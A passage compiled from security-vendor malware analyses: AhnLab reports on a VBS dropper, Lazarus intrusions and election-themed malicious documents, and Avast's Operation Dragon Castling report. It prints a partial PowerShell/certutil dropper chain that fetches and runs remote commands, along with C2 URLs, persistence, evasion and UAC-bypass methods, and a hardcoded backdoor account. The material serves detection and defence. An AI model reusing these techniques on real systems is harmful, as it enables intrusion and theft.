+%AppData%\~KB3241.tmp. After that, ~KB3241.tmp is decoded and saved as
+%AppData%\mscornet.vbs, and then ~KB3241.tmp is deleted.
+powershell -w hidden ECHO OFF echo
+RnVuY3Rpb24gaDJzKGgpDQogIERpbSBhIDogYSA9IFNwbGl0KGgpDQogIERpbSBp >
+"%AppData%\~KB3241.tmp"
+echo DQogIEZvciBpID0gMCBUbyBVQm91bmQoYSkNCiAgICAgIGEoaSkgPSBDaHIoIiYi >>
+"%AppData%\~KB3241.tmp"
+echo ZSINCmtpbGxQcm9jZXNzICJpZWxvd3V0aWwuZXhlIg== >> "%AppData%\~KB3241.tmp"
+certutil -f -decode "%AppData%\~KB3241.tmp" "%AppData%\mscornet.vbs"
+del "%AppData%\~KB3241.tmp"
+mscornet.vbs connects to
+hxxp://cmaildowninvoice.webcindario[.]com/contri/sqlite/msgbugGlog.php?
+Cache=fail&Sand=[PC name] and executes the received response with the Execute
+command. Currently, additional commands are not identified in the URL, but various
+malicious actions can be performed by an attacker.
+Recently, malicious codes disguised as North Korea-related contents are being distributed in
+the form of VBS scripts as well as word documents, so user attention is required.
+Currently, AhnLab V3 product diagnoses the file as follows.
+[File Diagnosis]
+Dropper/VBS.Generic
+Trojan/VBS.Agent
+[IOC]
+ab97956fec732676ecfcedf55efadcbc
+e49e41a810730f4bf3d43178e4c84ee5
+hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php hmsp
+://cmaildowninvoice.webcindario/sqlite/contrig.
+Related IOCs and related detailed analysis information can be checked through
+AhnLab's next-generation threat intelligence platform 'AhnLab TIP'
+subscription service.
+Categories: Malware information
+Tagged as: VBScript
+A new type of malware from the Lazarus attack group
+that exploits the INITECH process.
+asec.ahnlab.com/ko/33706
+April 18, 2022
+AhnLab's ASEC analysis team is monitoring the situation in which about 47 companies and
+institutions, including defense companies, are being infected with the malicious code
+distributed by Lazarus Group in the first quarter of 2022, and seriously judges this situation.
+It was confirmed that malicious behavior was generated by the INITECH process
+(inisafecrosswebexsvc.exe) in the affected companies.
+The following items were first checked for inisafecrosswebexsvc.exe on the victim system.
+The inisafecrosswebexsvc.exe file is
+It is an executable file of INISAFE CrossWeb EX V3, a security program of INITECH.
+It has the same hash value as a normal file.
+(MD5:4541efd1c54b53a3d11532cb885b2202)
+It is a file normally signed by INITECH.
+INISAFE Web EX Client was installed in the system before the breach, and no trace of
+tampering was found.
+It is executed by iniclientsvc_x64.exe at system boot time, and it was executed in the
+same way on the day of the breach.
+The confirmed inisafecrosswebexsvc.exe file is a normal file that has not been tampered with.
+As a result of checking the process execution history and the code of the malicious code
+SCSKAppLink.dll, it was found that SCSKAppLink.dll was injected into
+inisafecrosswebexsvc.exe and operated.
+SCSKAppLink.dll contains code that branches according to the injected host process. The
+branch code is written to download and execute additional malicious code by accessing
+hxxps://matric.or.kr/include/main/main_top.asp?prd_fld=racket when it is injected into
+the inisafecrosswebexsvc.exe process and operates.
+In the rest of the branches, it is supposed to determine whether svchost.exe, rundll32.exe,
+and notepad.exe are injected, but the branch statement does not contain executable code, so
+it is not considered to be a complete malicious code.
+The inisafecrosswebexsvc.exe injected with SCSKAppLink.dll connects to the malicious code
+distribution site, downloads the downloader malware main_top[1].htm file to the Internet
+temporary folder path, and copies it to SCSKAppLink.dll.
+Download Path: c:\users\
+<user>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm
+Copied path: C:\Users\Public\SCSKAppLink.dll
+Figure 1. Branch code according to host process of SCSKAppLink.dll
+Figure 2. SCSKAppLink.dll code (C2 address accessed when host is inisafecrosswebexsvc.exe)
+The same malware was mentioned on a Symantec blog a few days ago. A blog titled 
+Lazarus
+Targets Chemical Sector
+, published on April 15th, describes the Lazarus attack group
+attacking the chemical sector. It seems that Lazarus' attacks are expanding targeting major
+industries such as domestic defense and chemical industries. ( https://symantec-enterpriseblogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical )
+AhnLab judges SCSKAppLink.dll to be a malicious code created by the Lazarus attack group,
+and continues to track the related malicious code. The IOCs of related malicious codes
+identified so far are as follows.
+[File Diagnosis]
+Data/BIN.Encoded
+Downloader/Win.LazarAgent
+Downloader/Win.LazarShell
+HackTool/Win32.Scanner
+Infostealer/Win.Outlook
+Trojan/Win.Agent
+Trojan/Win.Akdoor
+Trojan/Win.LazarBinder
+Trojan/Win.Lazardoor
+Trojan/Win.LazarKeyloger
+Trojan/Win.LazarLoader
+Trojan/Win.LazarPortscan
+Trojan/Win.LazarShell
+Trojan/Win.Zvrek
+Trojan/Win32.Agent
+[File MD5]
+0775D753AEAEBC1CFF491E42C8950EC0
+0AC90C7AD1BE57F705E3C42380CBCCCD
+0F994F841C54702DE0277F19B1AC8C77
+196FE14B4EC963BA98BBAF4A23A47AEF
+1E7D604FADD7D481DFADB66B9313865D
+2EF844ED5DCB9B8B38EBDE3B1E2A450C
+39457097686668A2F937818A62560FE7
+3D7E3781BD0B89BA88C08AA443B11FE5
+3ECD26BACD9DD73819908CBA972DB66B
+4B96D9CA051FC68518B5A21A35F001D0
+4E2DFD387ADDEE4DE615A57A2008CFC6
+5349C845499A6387823FF823FCCAA229
+570F65824F055DE16EF1C392E2E4503A
+683713A93337F343149A5B3836475C5D
+6929CAA7831AE2600410BC5664F692B3
+6A240B2EDC1CA2B652DBED44B27CB05F
+7188F827D8106F563980B3CCF5558C23
+7607EF6426F659042D3F1FFBFEA13E6A
+7870DECBC7578DA1656D1D1FF992313C
+7BF6B3CD3B3034ABB0967975E56F0A4B
+81E922198D00BE3E6D41DCE773C6A7FB
+878AD11012A2E965EA845311FB1B059F
+8FCDF6506CA05EFAFC5AF35E0F09B341
+933B640D26E397122CE8DE9293705D71
+A329AC7215369469D72B93C1BAC1C3C4
+A8B90B2DD98C4FDD4AE84A075A5A9473
+ADF0D4BBEFCCF342493E02538155E611
+B213063F28E308ADADF63D3B506E794E
+B3E03A41CED8C8BAA56B8B78F1D55C22
+B5EAEC8CE02D684BAA3646F39E8BC9B5
+B85FDE972EE618A225BFBA1CEF369CC8
+B91D1A5CC4A1DE0493C1A9A9727DB6F9
+B974BC9E6F375F301AE2F75D1E8B6783
+BB9F5141C53E74C9D80DCE1C1A2A13F0
+C99D5E7EDBA670515B7B8A4A32986149
+CB5401C760B89D80657FC0EFC605AE62
+D3BFA72CC8F6F8D3D822395DBC8CD8B8
+D57F8CD2F49E34BEDA94B0F90426F7B3
+D9BC5EDCE4B1C4A941B0BF8E3FAC3EA8
+DD3710ABFACDF381801BB11CF142BD29
+DD759642659D7B2C7FD365CBEFF4942E
+E04206BA707DE4CDE94EFEDA6752D0CA
+E6265DCCFDEF1D1AA134AEC6236734F8
+E84404DED7096CD42EF39847DE002361
+E8D7EAF96B3E5AEE219013C55682968C
+EC99EBB78857211EB52EB84750D070E7
+F15FD25A4C6E94E2202090BBB82EBC39
+F48369111F2FAABB0CCB5D1D90491E0E
+[IP/URL]
+hxxps://www.matric.or.kr/include/main/main_top.asp
+hxxps://www.gaonwell.com/data/base/mail/login.asp
+hxxp://www.h-cube.co.kr/main/image/gelery/gallery.asp
+hxxps://www.shoppingbagsdirect.com/media/images/?ui=t
+hxxps://www.okkids.kr/html/program/display/?re=32
+hxxps://www.namchoncc.co.kr/include/?ind=55
+Related IOCs and related detailed analysis information can be checked through
+AhnLab's next-generation threat intelligence platform 'AhnLab TIP'
+subscription service.
+Categories: Malware information , incident analysis case
+Tagged as: Forensics , Incident , Lazarus
+Distribution of malicious Hangul documents disguised as
+press releases for the 20th presidential election onboard
+voting
+asec.ahnlab.com/ko/32330
+March 3, 2022
+Ahead of the presidential election, the ASEC analysis team confirmed that malicious Korean
+documents disguised as 
+press release on board the 20th presidential election
+were being distributed. The attacker distributed the malicious Korean document on
+February 28th, and the malicious document was not secured, but according to the company's
+AhnLab Smart Defense (ASD) infrastructure log, it is estimated that the batch file is driven
+through the internal OLE object to execute PowerShell. .
+Distribution file name: Press release
+(220228)_March_1st___March_4th_20th_Presidential Election_Shipboard
+Voting_Conducted (final).hwp
+[Figure 1] shows the batch file path and Korean file name confirmed in the infrastructure.
+While the same normal Korean document size is 2.06 MB, the malicious Korean document is
+2.42 MB, and it seems that the document was created by inserting an additional BAT file
+inside.
+[Figure 1] ASD infrastructure collection
+%TEMP%\mx6.bat (path of batch file creation)
+A similar type of attack was also confirmed on February 7th. According to the article, the
+attacker impersonated the National Election Commission (NEC) and distributed malicious
+documents disguised as a normal document titled 
+Public Recruitment of Counting
+Observers for the 20th Presidential Election
+North Korean hackers distributing malicious press releases under the guise of the National
+Election Commission
+ | DailyNK
+It was found on the 8th that a North Korean hacking organization was distributing hacking emails impersonating the National Election Commission (NEC). Considering the fact that the
+press release distributed by the National Election Commission was used, it is highly likely
+that the attack is being carried out targeting journalists in the media, so caution is required.
+The common features of the malicious Hangul documents that were circulated at the time
+and the documents used in this attack are as follows.
+Dissemination of malicious Korean documents disguised as the same institution (NEC)
+Inducing Batch File Execution in OLE Object Way
+A PowerShell command containing a variable name ( $kkx9 ) similar to the one used
+in the NEC impersonation attack on 2/7 ( $kk y4 )
+Part of the PowerShell command: ( $kkx9 ='[DllImport(
+user32.dll
+)] public
+static extern bool ShowWindow(int handle, int state);')
+[Figure 2] Some of the collected PowerShell commands
+[Figure 3] below is a normal Korean document presumed to have been used by the attacker
+for distribution.
+[Figure 3] Normal Korean document (press release
+(220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conduct
+(final).hwp)
+Normal official Korean documents can be found on the official website of the National
+Election Commission ( https://www.nec.go.kr/ ), and users should be skeptical when
+downloading similar documents from an unknown site.
+https://www.nec.go.kr/cmm/dozen/view.do?cbIdx=1090&bcIdx=164018&fileNo=1
+(Document download address)
+The attackers seem to be carrying out various attacks impersonating the National Election
+Commission as the 20th presidential election approaches. AhnLab continues to monitor
+similar malicious behaviors and will share new information as soon as it becomes available.
+[AhnLab V3 product correspondence]
+[Behavior Detection]
+ Execution/MDP.Powershell.M4208
+Related IOCs and related detailed analysis information can be checked through
+AhnLab's next-generation threat intelligence platform 'AhnLab TIP'
+subscription service.
+Categories: Malware information
+Tagged as: National Election Commission , Korean document
+Operation Dragon Castling: APT group targeting betting companies
+decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies
+March 22, 2022
+Introduction
+We recently discovered an APT campaign we are calling Operation Dragon Castling . The campaign is
+targeting what appears to be betting companies in South East Asia , more specifically companies located
+in Taiwan , the Philippines , and Hong Kong . With moderate confidence, we can attribute the campaign
+to a Chinese speaking APT group , but unfortunately cannot attribute the attack to a specific group and
+are not sure what the attackers are after.
+We found notable code similarity between one of the modules used by this APT group (the MulCom
+backdoor ) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in
+their 2017 report and Palo Alto Networks in their 2015 report. Based on this, we suspect that the
+FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not
+sufficient for attribution as FFRat itself was never reliably attributed.
+In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT
+group, as well as other malicious files used to gain persistence and access to the infected machines. We will
+also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and
+exploitation of a vulnerable legitimate application, WPS Office .
+We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we
+suspect that the attackers abused.
+We would like to thank Taiwan
+s TeamT5 for providing us with IoCs related to the infection vector.
+Infrastructure and toolset
+1/18
+In the diagram above, we describe the relations between the malicious files. Some of the relations might not
+be accurate, e.g. we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin . However, we
+strongly believe that it is one of the malicious files used in this campaign.
+Infection Vector
+ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an
+infected installer to the support team of one of the targeted companies asking to check for a bug in their
+software. In this post, we are going to describe another vector we
+ve seen: a fake WPS Office update
+package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe , which is a part of the
+WPS Office installation package. We have contacted WPS Office team about the vulnerability ( CVE-202224934 ), which we discovered, and it has since been fixed.
+During our investigation we saw suspicious behavior in the WPS updater process. When analyzing the binary
+we discovered a potential security issue that allows an attacker to use the updater to communicate with a
+server controlled by the attacker to perform actions on the victim
+s system, including downloading and
+running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs
+to be modified, and by doing this an attacker gains persistence on the system and control over the update
+process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn ,
+which is a domain belonging to Kingsoft , but the serving IP ( 103.140.187.16 ) has no relationship to the
+company, so we assume that it is a fake update server used by the attackers.
+The downloaded binary ( setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954 ) drops two files for
+2/18
+sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology
+(a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL
+QMSpeedupRocketTrayStub64.dll.
+Dropper 1 (QMSpeedupRocketTrayStub64.dll)
+76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491
+The first stage is a backdoor communicating with a C&C ( mirrors.centos.8788912[.]com ). Before
+contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions:
+GetProcAddress , FreeLibrary , LdrUnloadDll . To get the C&C domain, it maps itself to the memory
+and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and
+is stored as a wide string in clear text in the binary.
+Then it initializes an object for a JScript class with the named item ScriptHelper . The dropper uses the
+ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the
+same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to
+HKEY_CURRENT_USER
+of an impersonated user. For communication with C&C it constructs a UserAgent
+string with some system information e.g. Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET
+CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows
+version, the value of the 
+User Agent\Post Platform
+ registry values.
+After that, the sample constructs JScript code to execute. The header of the code contains definitions of
+two variables: server with the C&C domain name and a hardcoded key . Then it sends the HTTP GET
+request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to
+the constructed header and executed using the JScript class created previously.
+At the time of analysis, the C&C was not responding, but from the telemetry data we can conclude that it was
+downloading the next stage from
+hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to
+%ProgramData%\icbc_logtmp.exe and executing it.
+Dropper 2 (IcbcLog)
+a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3
+The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session
+Moniker Privilege Escalation (MS17-012) , then dropping a few binaries, which are stored with the
+following resource IDs:
+3/18
+Resource ID
+Filename
+Description
+1825
+smcache.dat
+List of C&C domains
+1832
+log.dll
+Loader (CoreX) 64bit
+1840
+bdservicehost.exe
+Signed PE for sideloading 64bit
+1841
+Filenames for sideloading
+1817
+inst.dat
+Working path
+1816
+hostcfg.dat
+Used in the Host header, in C&C communication
+1833
+bdservicehost.exe
+Signed PE for sideloading 32bit 
+ N/A
+1831
+log.dll
+Loader (32bit) 
+ N/A
+The encrypted payloads have the following structure:
+The encryption key is a wide string starting from offset 0x8 . The encrypted data starts at the offset 0x528 .
+To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a
+hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256
+algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer . To verify that the
+decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of
+the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed
+to run the next stage.
+Loader (CoreX)
+97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42
+The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper.
+Similarly to Dropper 1 , it hooks the GetProcAddress and FreeLibrary API functions. These hooks
+execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe
+and then it retrieves encrypted data from its resources. This data is dropped into the same folder as
+syscfg.dat . The file is then loaded and decrypted using AES-256 with the following options for setup:
+Key is the computer name and IV is qwertyui12345678
+AES-256 setup parameters are embedded in the resource in the format <key>#<IV> . So you may e.g.
+see cbfc2vyuzckloknf#8o3yfn0uee429m8d
+AES-256 setup parameters
+The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel
+service. If the ESET Kernel service is running, it will try to remap ntdll.dll . We assume that this is used to
+bypass ntdll.dll hooking.
+4/18
+After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage.
+The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll
+and builds an array with hashes of names of all Zw* functions (windows native API system calls) then sorts
+them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions
+equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall
+number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based
+on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed.
+Proto8 (Core module)
+f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7
+The core module is a single DLL that is responsible for setting up the malware
+s working directory, loading
+configuration files, updating its code, loading plugins, beaconing to C&C servers and waiting for commands.
+It has a cascading structure with four steps:
+Step 1
+The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that
+the DLL is being run by spdlogd.exe (an executable used for persistence, see below) or that it is not being
+run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the
+GetProcAddress and FreeLibrary functions in order to execute the main function, similarly to the
+previous infection stages.
+The GetProcAddress hook contains an interesting debug output 
+in googo
+The malware then creates a new window (named Sample ) with a custom callback function. A message with
+the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to
+execute the main function. The callback function can also process the 0x412 message ID, even though no
+specific functionality is tied to it.
+Exported function Core2 sends message 0x411
+5/18
+Exported function Ldr2 sends message 0x412
+The window callback only contains implementation for message 0x411
+but there is a check for 0x412 as well
+Step 2
+In the second step, the module tries to self-update, load configuration files and set up its working directory
+(WD).
+Self-update
+6/18
+The malware first looks for a file called new_version.dat 
+ if it exists, its content is loaded into memory,
+executed in a new thread and a debug string 
+run code ok
+ is printed out. We did not come across this file,
+but based on its name and context, this is most likely a self update functionality.
+Load configuration file inst.dat and set up working directory. First, the core module configuration file
+inst.dat is searched for in the following three locations:
+the directory where the core module DLL is located
+the directory where the EXE that loaded the core module DLL it is located
+C:\ProgramData\
+It contains the path to the malware
+s working directory in plaintext. If it is not found, a hard-coded directory
+name is used and the directory is created. The working directory is a location the malware uses to drop or
+read any files it uses in subsequent execution phases.
+Load configuration file smcache.dat .
+After the working directory is set up, the sample will load the configuration file smcache.dat from it. This
+file contains the domains, protocols and port numbers used to communicate with C&C servers (details in Step
+4) plus a 
+comment
+ string. This string is likely used to identify the campaign or individual victims. It is
+used to create an empty file on the victim
+s computer (see below) and it
+s also sent as a part of the initial
+beacon when communicating with C&C servers. We refer to it as the 
+comment string
+ because we have
+seen a few versions of smcache.dat where the content of the string was 
+the comment string here
+ and
+it is also present in another configuration file with the name comment.dat which has the INI file format and
+contains this string under the key COMMENT.
+Create a log file
+Right after the sample finds and reads smcache.dat, it creates a file based on the victim
+s username and the
+comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value
+(for example M86_99.lck ). Based on the extension it could be a log of some sort, but we haven
+t seen any
+part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the
+malware creates a mutex and goes on to the next step.
+Step 3
+Next, the malware collects information about the infected environment (such as username, DNS and NetBios
+computer names as well as OS version and architecture) and sets up its internal structures, most notably a list
+call objects
+ . Call objects are structures each associated with a particular function and saved into a
+dispatcher
+ structure in a map with hard-coded 4-byte keys. These keys are later used to call the
+functions based on commands from C&C servers.
+The key values (IDs) seem to be structured, where the first three bytes are always the same within a given
+sample, while the last byte is always the same for a given usage across all the core module samples that we
+seen. For example, the function that calls the RevertToSelf function is identified by the number
+7/18
+0x20210326 in some versions of the core module that we
+ve seen and 0x19181726 in others. This
+suggests that the first three bytes of the ID number are tied to the core module version, or more likely the
+infrastructure version, while the last byte is the actual ID of a function.
+ID (last byte)
+Function description
+0x02
+unimplemented function
+0x19
+retrieves content of smcache.dat and sends it to the C&C server
+0x1A
+writes data to smcache.dat
+0x25
+impersonates the logged on user or the explorer.exe process
+0x26
+function that calls RevertToSelf
+0x31
+receives data and copies it into a newly allocated executable buffer
+0x33
+receives core plugin code, drops it on disk and then loads and calls it
+0x56
+writes a value into comment.dat
+Webdav
+While initializing the call objects the core module also tries to connect to the URL
+hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by
+calling WNetAddConnection3W . This address was not responsive at the time of analysis but
+jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin
+code or an updated version of the core module itself.
+Plugins
+The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the
+name kbg<tick_count>.dat in the malware working directory, loads it into memory and then calls its
+exported function InitCorePlug . The plugin file on disk is set to be deleted on reboot by calling
+MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT . For more information about the
+plugins, see the dedicated Plugins section.
+Step 4
+In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file
+and will try to reach each one. The structure of the smcache.dat config file is as follows:
+The protocol string can have one of nine possible values:
+HTTPS
+ICMP
+HTTPSIPV6
+HTTP
+8/18
+Depending on the protocol tied to the particular C&C domain, the
+malware sets up the connection, sends a beacon to the C&C and
+waits for commands.
+In this blogpost, we will mainly focus on the HTTP protocol option
+as we
+ve seen it being used by the attackers.
+The structure of the smcache.dat config
+file
+When using the HTTP protocol, the core module first opens two persistent request handles 
+ one for POST
+and one for GET requests, both to 
+/connect
+ . These handles are tested by sending an empty buffer in the
+POST request and checking the HTTP status code of the GET request. Following this, the malware sends
+the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened
+POST request handle and reads data from the GET request handle by calling InternetReadFile .
+HTTP packet order
+9/18
+HTTP POST beacon
+The core module uses the following (mostly hard-coded) HTTP headers:
+Accept: */*
+x-cid: {<uuid>} 
+ new uuid is generated for each GET/POST
+request pair
+Pragma: no-cache
+Cache-control: no-transform
+User-Agent: <user_agent> 
+ generated from registry or hard-coded (see below)
+Host: <host_value> 
+ C&C server domain or the value from hostcfg.dat (see below)
+Connection: Keep-Alive
+Content-Length: 4294967295 (max uint, only in the POST request)
+User-Agent header
+The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including
+the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access
+fails: 
+Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET
+CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
+Host header
+When setting up this header, the malware looks for either a resource with the ID 1816 or a file called
+hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in
+the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat . It
+does not change the actual C&C domain to which the request is made 
+ this suggests the possibility of the
+C&C server being behind a reverse proxy.
+Initial beacon
+The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed
+buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim
+username, OS version and architecture, computer DNS and BIOS names and the comment string found in
+smcache.dat or comment.dat . The value from comment.dat takes precedence if this file exists.
+In the core module sample we analyzed, there was actually a typo in the function that reads the value from
+comment.dat 
+ it looks for the key 
+COMMNET
+ instead of 
+COMMENT
+10/18
+After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of
+one of the call objects.
+Each message sent to the C&C server contains a hard-coded four byte number value with the same structure
+as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C
+servers that we
+ve seen are:
+ID (last byte)
+Usage
+0x1B
+message to C&C which contains smcache.dat content
+0x24
+message to C&C which contains a debug string
+0x2F
+general message to C&C
+0x30
+message to C&C, unknown specific purpose
+0x32
+message to C&C related to plugins
+0x80
+initial beacon to a C&C server
+Interesting observations about the protocols, other than the HTTP protocol:
+HTTPS does not use persistent request handles
+HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial
+beacon
+HTTPS, TCP and UDP use a custom 
+magic
+ header: Magic-Code: hhjjdfgh
+General observations on the core module
+The core samples we observed often output debug strings via OutputDebugStringA and
+OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core
+module are: its filepath at the beginning of execution, 
+run code ok
+ after self-update, 
+In googo
+the hook of GetProcAddress , 
+recv bomb
+ and 
+sent bomb
+ in the main C&C communicating
+function, etc.
+String obfuscation
+We came across samples of the core module with only cleartext strings but also samples with certain strings
+obfuscated by XORing them with a unique (per sample) hard-coded key.
+Even within the samples that contain obfuscated strings, there are many cleartext strings present and there
+seems to be no logic in deciding which string will be obfuscated and which won
+t. For example, most format
+strings are obfuscated, but important IoCs such as credentials or filenames are not.
+To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated
+and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all
+the strings in the function that writes into the same config file are in cleartext and there is a direct call to
+11/18
+WritePrivateProfileStringW .
+Overall, the core module code is quite robust and contains many failsafes and options for different scenarios
+(for example, the amount of possible protocols used for C&C communication), however, we probably only saw
+samples of this malware that are still in active development as there are many functions that are not yet
+implemented and only serve as placeholders.
+Plugins
+In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to
+extend its functionality.
+We are going to describe three plugins with various functionalities, such as:
+Achieving persistence
+Bypassing UAC
+Registering an RPC interface
+Creating a new account
+Backdoor capabilities
+Core Plugin
+0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755
+This plugin is a DLL binary loaded by the fileless core module ( Proto8 ) as mentioned above. It extends the
+malware
+s functionality by adding methods for managing additional plugins. These additional plugins export
+the function "GetPlugin" which the core plugin executes.
+This part uses the same command ID based calling convention as the core module (see above), adding three
+new methods:
+ID (last byte)
+Function description
+0x2B
+send information about plugin location to the to C&C server
+0x2C
+remove a plugin
+0x2A
+load a plugin
+All plugin binaries used by the core module are stored in the working directory under the name
+kbg<tick_count>.dat . After the Core Plugin is loaded, it first removes all plugins from the working
+directory 
+ see the image below.
+12/18
+Zload(Atomx.dll,xps1.dll)
+2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876
+The DLL we call Zload is an example of a plugin loaded by the Core Plugin . It exports four functions:
+GetPlugin
+Install
+core_zload
+ and 
+zload
+ . The main functionality of this plugin is setting
+up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus
+on the exported functions zload , core_zload and the default DllMain function, as they contain the
+most interesting functionality.
+Zload (process starter)
+This function is fairly simple, its main objective is to execute another binary. It first retrieves the path to the
+directory where the Zload plugin binary is located (<root_folder>) and creates a new subfolder called
+"mec" in it. After this it renames and moves three files into it:
+the Zload plugin binary itself as <root_folder>\mec\logexts.dll ,
+<root_folder>\spdlogd.exe as <root_folder>\mec\spdagent.exe and
+<root_folder>\kb.ini as <root_folder>\mec\kb.ini
+After the files are renamed and moved, it creates a new process by executing the binary
+<root_folder>\mec\spdagent.exe (originally <root_folder>\spdlogd.exe ).
+core_zload (persistence setup)
+This function is responsible for persistence which it achieves by registering itself into the list of security
+support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA)
+process when the system boots. The code of this function is notably similar to the
+mimikat_ssp/AddSecurityPackage_RawRPC source code found on github.
+DllMain (sideloading, setup)
+The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker
+to create a backdoor account on the infected system and lower the overall system security.
+13/18
+Persistence
+The plugin first checks if its DLL was loaded either by the processes 
+lsass.exe
+ or 
+spdagent.exe
+ . If
+the DLL was loaded by 
+spdagent.exe
+ , it will adjust the token privileges of the current process.
+If it was loaded by 
+lsass.exe
+ , it will retrieve the path 
+kb<num>.dll
+ from the configuration file
+kb.ini
+ and write it under the registry key
+HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters
+AutodialDLL . This ensures persistence, as it causes the DLL 
+kb<num>.dll
+ to be loaded each time the
+Winsock 2 library ( ws2_32.dll ) is invoked.
+Evasion
+To avoid detection, the plugin first checks the list of running processes for 
+avp.exe
+ (Kaspersky Antivirus)
+NortonSecurity.exe
+ and exits if either of them is found. If these processes are not found on the
+system, it goes on to conceal itself by changing its own process name to 
+explorer.exe
+The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through
+CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7} .
+Backdoor user account creation
+Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the
+system
+s protection by:
+Allowing local accounts to have full admin rights when they are authenticating via network logon
+Enabling RDP connections to the machine without the user password
+Disabling admin approval on an administrator account, which means that all applications run with full
+administrative privileges
+Enabling anonymous SID to be part of the everyone group in Windows
+Allowing 
+Null Session
+ users to list users and groups in the domain
+Allowing 
+Null Session
+ users to access shared folders
+Setting the name of the pipe that will be accessible to 
+Null Session
+ users
+After this step, the plugin changes the WebClient service startup type to 
+Automatic
+ . It creates a new
+user with the name 
+DefaultAccount
+ and the password 
+Admin@1999!
+ which is then added to the
+Administrator
+ and 
+Remote Desktop Users
+ groups. It also hides the new account on the logon
+screen.
+As the last step, the plugin checks the list of running processes for process names 
+360tray.exe
+ and
+360sd.exe
+ and executes the file "spdlogd.exe" if neither of them is found.
+MecGame(kb%num%.dll)
+4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD
